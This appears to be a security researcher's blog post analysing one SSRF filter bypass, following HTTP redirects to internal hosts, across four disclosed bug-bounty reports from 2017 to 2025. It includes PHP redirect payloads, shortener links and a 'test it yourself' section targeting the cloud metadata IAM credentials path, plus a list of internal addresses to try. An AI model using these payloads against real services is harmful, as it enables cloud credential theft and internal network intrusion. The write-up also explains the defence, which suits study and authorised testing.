August 14, 2026
How a Single HTTP Redirect Bypassed SSRF Filters on 4 Programs Over 8 Years
30-Second Version: One SSRF bypass technique — a single HTTP redirect — worked against Infogram (2017), Slack (2018), Bitwarden (2020), and…

By Raj Namdev
7 min read
30-Second Version:_ One SSRF bypass technique — a single HTTP redirect — worked against Infogram (2017), Slack (2018), Bitwarden (2020), and Rocket.Chat (2025). Four unrelated companies, eight years apart, the exact same root cause every time: the filter checks the URL you submit, never the URL the redirect actually sends you to._
8 years.
That's the gap between the earliest disclosed report using this exact technique and the most recent one. Same bypass. Same missing check. Four completely unrelated companies never learned from each other's mistake, because the mistake never got treated as a pattern — just four separate bugs, four separate fixes, four separate teams that had no reason to know about the other three.
The simplest SSRF bypass in this dataset doesn't use NAT64 IPv6 prefixes, DNS rebinding, or URL parser inconsistencies. It uses a 301 redirect. The server validates the URL it receives. It never validates the URL it follows.
Why This Matters
SSRF filters are everywhere now. Most programs handling user-supplied URLs have some form of protection — IP blocklists, DNS resolution checks, protocol restrictions. If the obvious payloads get blocked during testing, the natural assumption is that SSRF is handled.
It usually isn't.
The redirect bypass works because of a disconnect between validation and execution. The server checks the URL you give it. The HTTP client follows redirects by default. The URL the server validated and the URL the server actually fetches are two different things. The filter never sees the second one.
The Technique — In Six Steps
1. Find an endpoint that fetches a URL you control
(webhook, link preview, image proxy, icon fetch, oEmbed)
2. Confirm the SSRF filter exists — it blocks internal
IPs, localhost, and metadata endpoints directly
3. Set up a redirect — either a URL shortener or your
own server with a Location header pointing internally
4. Submit the redirect URL to the endpoint
5. The filter checks your external URL → passes
The HTTP client follows the redirect → no filter runs
6. The server fetches the internal resource1. Find an endpoint that fetches a URL you control
(webhook, link preview, image proxy, icon fetch, oEmbed)
2. Confirm the SSRF filter exists — it blocks internal
IPs, localhost, and metadata endpoints directly
3. Set up a redirect — either a URL shortener or your
own server with a Location header pointing internally
4. Submit the redirect URL to the endpoint
5. The filter checks your external URL → passes
The HTTP client follows the redirect → no filter runs
6. The server fetches the internal resourceNo exotic protocol. No IPv6 encoding trick. No DNS rebinding infrastructure. One HTTP redirect.
Four Reports, One Pattern
Infogram — November 2017
The earliest instance in this dataset is report 287496, submitted by researcher spicyturtle and disclosed in November 2017.
Infogram ran an API endpoint at /api/web_resource/url that fetched a URL and returned page metadata. The endpoint filtered internal IPs — direct requests to http://127.0.0.1/ or http://169.254.169.254/ were blocked outright.
The researcher used a tinyurl link instead:
https://infogram.com/api/web_resource/url?q=https://tinyurl.com/ybk7sqrghttps://infogram.com/api/web_resource/url?q=https://tinyurl.com/ybk7sqrgThe shortened link redirected to http://0:6000/ — port 6000 on 0.0.0.0, which routes to localhost on many systems. The filter checked tinyurl.com itself (external, passed clean), the HTTP client then followed the 301 to 0:6000 (internal, completely unchecked), and the response came straight back:
[{"title":"Create Infographics, Charts and Maps - Infogram","description":"...","url":"http://0:6000/"}][{"title":"Create Infographics, Charts and Maps - Infogram","description":"...","url":"http://0:6000/"}]The researcher's fix recommendation was simple and, in hindsight, prophetic: validate the URL again after every redirect completes, not just the one submitted initially. Eight years later, programs are still shipping this exact gap.
Slack — July 2018
Report 381129, submitted by researcher elber, disclosed in February 2019.
Slack's slash commands feature let users configure a URL that Slack would fetch when the command triggered. Slack already had SSRF protections in place blocking direct internal IPs — this report was actually a bypass of two prior fixes (reports #61312 and #356765).
The researcher hosted a minimal redirect on their own server:
<?php
header("location: http://[::]:22/");
?><?php
header("location: http://[::]:22/");
?>The external URL sailed through Slack's filter. The redirect target — [::]:22, IPv6 localhost on port 22 — did not get checked at all. Slack's server followed the redirect, connected straight to SSH on localhost, and returned the banner:
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Protocol mismatch.SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
Protocol mismatch.The same researcher filed a second report, 386292, on Slack's Event Subscriptions feature using the identical technique — redirecting to [::]:22 and [::]:25 (SMTP) instead. Both were accepted. Both were the same underlying bypass hitting two different features.
Bitwarden — July 2020
Report 925527, submitted by researcher polict of Shielder, disclosed in September 2020.
Bitwarden's icon fetch service pulls website favicons whenever a credential gets added to a vault. Following an earlier SSRF report, Bitwarden had merged PR #812, which checked whether a domain resolved to a private IP before fetching its icon.
The check itself worked correctly. The problem was that the HTTP client kept following redirects — up to two hops — without ever re-running that check on the destination.
The researcher set up an external redirect:
<?php
header("location: http://test.local.yourdomain.com/PATH_IS_KEPT");
exit();<?php
header("location: http://test.local.yourdomain.com/PATH_IS_KEPT");
exit();The redirect target resolved to 0.0.0.0 (routing to 127.0.0.1) or into the 169.254.0.0/16 cloud metadata range. The initial domain passed Bitwarden's IP check cleanly. The redirect destination simply never got checked at all. The request landed on localhost:
GET /PATH_IS_KEPT HTTP/1.1
Host: redacted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...GET /PATH_IS_KEPT HTTP/1.1
Host: redacted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...The researcher's suggested fix: bind the actual HTTP request to the specific IP address that was already verified, rather than letting the client resolve and connect independently after validation completed.
Rocket.Chat — October 2025
Report 3383079, submitted by researcher button142857, disclosed in June 2026.
Rocket.Chat's oEmbed feature generates a link preview whenever a URL gets posted in a chat. The initial URL passes through a filter — local IP addresses are blocked, along with several other SSRF checks. Posting http://192.168.100.9:8080 directly was confirmed blocked.
But the oEmbed fetcher, like every case before it, followed redirects without re-checking them:
Step 1: Post http://192.168.100.9:8080 → blocked by SSRF protection
Step 2: Post https://tinyurl.com/bdhdhmrn → allowed, follows redirect
Step 3: Server fetches http://192.168.100.9:8080 → preview displayedStep 1: Post http://192.168.100.9:8080 → blocked by SSRF protection
Step 2: Post https://tinyurl.com/bdhdhmrn → allowed, follows redirect
Step 3: Server fetches http://192.168.100.9:8080 → preview displayedAs the researcher summarized it — the initial URL gets filtered correctly, but that same filtering never gets reapplied to wherever the redirect actually leads. In this case, the internal host's response was rendered directly in the visible chat preview, meaning the researcher could read portions of an internal service's actual response, not merely confirm a port was open. That makes this a response-disclosing SSRF, a meaningfully higher-impact variant than a blind one.
Why It Works
Every SSRF filter across these four reports does the same basic thing: take the URL, resolve the hostname, check the IP against a blocklist, and if it passes, hand the URL off to an HTTP client.
The HTTP client then does exactly what HTTP clients are built to do — make the request, and if the server responds with a 301 or 302, follow it. The redirect destination never gets passed back through the filter. Nothing in that flow is technically broken. Each individual piece works exactly as designed. The gap exists entirely in the space between them.
┌─────────────┐ ┌──────────────┐ ┌─────────────────┐
│ URL input │────▶│ SSRF filter │────▶│ HTTP client │
└─────────────┘ │ (checks IP) │ │ (follows 301) │
└──────────────┘ └────────┬────────┘
│
┌────────▼────────┐
│ Internal host │
│ (no filter) │
└─────────────────┘┌─────────────┐ ┌──────────────┐ ┌─────────────────┐
│ URL input │────▶│ SSRF filter │────▶│ HTTP client │
└─────────────┘ │ (checks IP) │ │ (follows 301) │
└──────────────┘ └────────┬────────┘
│
┌────────▼────────┐
│ Internal host │
│ (no filter) │
└─────────────────┘The filter and the HTTP client are separate components, built by people who reasonably assumed the URL that got validated was the same URL that would eventually get fetched. The HTTP client's default redirect behavior is exactly what breaks that assumption.
How to Test For It Yourself
Step 1 — Confirm the filter exists. Try http://127.0.0.1/ or http://169.254.169.254/latest/meta-data/ directly. If it works, there's no filter at all — report it immediately. If it's blocked, move to Step 2.
Step 2 — Set up a redirect.
Option A, fastest — a URL shortener:
https://tinyurl.com/create.php?url=http://169.254.169.254/latest/meta-data/https://tinyurl.com/create.php?url=http://169.254.169.254/latest/meta-data/Submit the shortened link to the endpoint. If the response contains metadata content, the filter isn't checking redirect destinations.
Option B, more control — your own server:
<?php
header("Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/");
exit();
?><?php
header("Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/");
exit();
?>Host it yourself, submit your server's URL. This gives you control over the exact target, the path, and the number of hops — useful since some filters catch one redirect but not a second.
Step 3 — Try chaining two redirects. Some programs partially patch this by validating only the first hop:
<?php
// redirect1.php
header("Location: http://your-server/redirect2.php");
exit();
?>
<?php
// redirect2.php
header("Location: http://169.254.169.254/latest/meta-data/");
exit();
?><?php
// redirect1.php
header("Location: http://your-server/redirect2.php");
exit();
?>
<?php
// redirect2.php
header("Location: http://169.254.169.254/latest/meta-data/");
exit();
?>Step 4 — Rotate through internal targets if the obvious ones are blocked even post-redirect:
0.0.0.0 → routes to localhost on many systems
[::] → IPv6 localhost
169.254.169.254 → AWS/GCP metadata endpoint
metadata.google.internal → GCP metadata, alternate form
192.168.x.x / 10.x.x.x → internal ranges, especially in
cloud-hosted targets0.0.0.0 → routes to localhost on many systems
[::] → IPv6 localhost
169.254.169.254 → AWS/GCP metadata endpoint
metadata.google.internal → GCP metadata, alternate form
192.168.x.x / 10.x.x.x → internal ranges, especially in
cloud-hosted targetsWhy It Still Works in 2025
The fix has been documented for years. OWASP's SSRF Prevention Cheat Sheet states it plainly: don't follow redirects, or if you must, validate every redirect destination exactly as rigorously as the original URL.
The reason it keeps showing up anyway is structural, not a matter of any one team being careless:
HTTP clients follow redirects by default. Python's requests.get(), Ruby's Net::HTTP, Go's http.Client, PHP's cURL bindings — all of them follow redirects unless a developer explicitly turns that behavior off. A team adds an SSRF filter before the fetch call, tests it against direct internal IPs, confirms it holds, and ships. Nobody tests what happens the moment the external URL responds with a 301.
Validation lives in application code. Redirect-following lives inside the HTTP library. The filter is a function a developer wrote and reasoned about carefully. Redirect behavior is a default setting inside a library they imported and largely trust. The HTTP client doesn't register as part of the attack surface in most people's mental model — it's just the tool that fetches the URL. But its default behavior is precisely what an attacker relies on.
Every fix is local to one program, never architectural. Infogram patched their web_resource endpoint. Slack patched slash commands. Bitwarden patched icon fetch. Rocket.Chat patched oEmbed. Each fix solved that one instance. None of them changed the default behavior of the HTTP libraries the next team would reach for. There's no widely-adopted library where "validate the final URL after every redirect" ships as the default — so the next team building a URL-fetching feature starts from the same unsafe baseline all over again.
What to Remember
The redirect bypass isn't sophisticated, and that's exactly the point. While SSRF research broadly focuses on NAT64 prefixes, DNS rebinding, URL parser inconsistencies, and protocol smuggling — all legitimate, all worth knowing — the simplest bypass in this entire dataset is a tinyurl link and a single Location header.
If an SSRF filter blocks 127.0.0.1 directly, don't move on yet. Try a redirect first. It takes about thirty seconds, and it has worked against four completely unrelated programs across eight full years.
The filter checks the URL you hand it. It has never checked the URL it actually follows.
Sources
- Infogram — Internal Ports Scanning via Blind SSRF, URL Redirection to beat filter (2017)
- Slack — SSRF in api.slack.com via slash commands, bypassing protections (2018)
- Slack — Bypass of SSRF protection in Event Subscriptions parameter (2018)
- Bitwarden — Blind HTTP GET SSRF via website icon fetch, bypass of PR #812 (2020)
- Rocket.Chat — SSRF via Improper Redirect Validation in oEmbed Function (2025)
- GitLab — Server Side Request Forgery mitigation bypass, DNS rebinding (2019)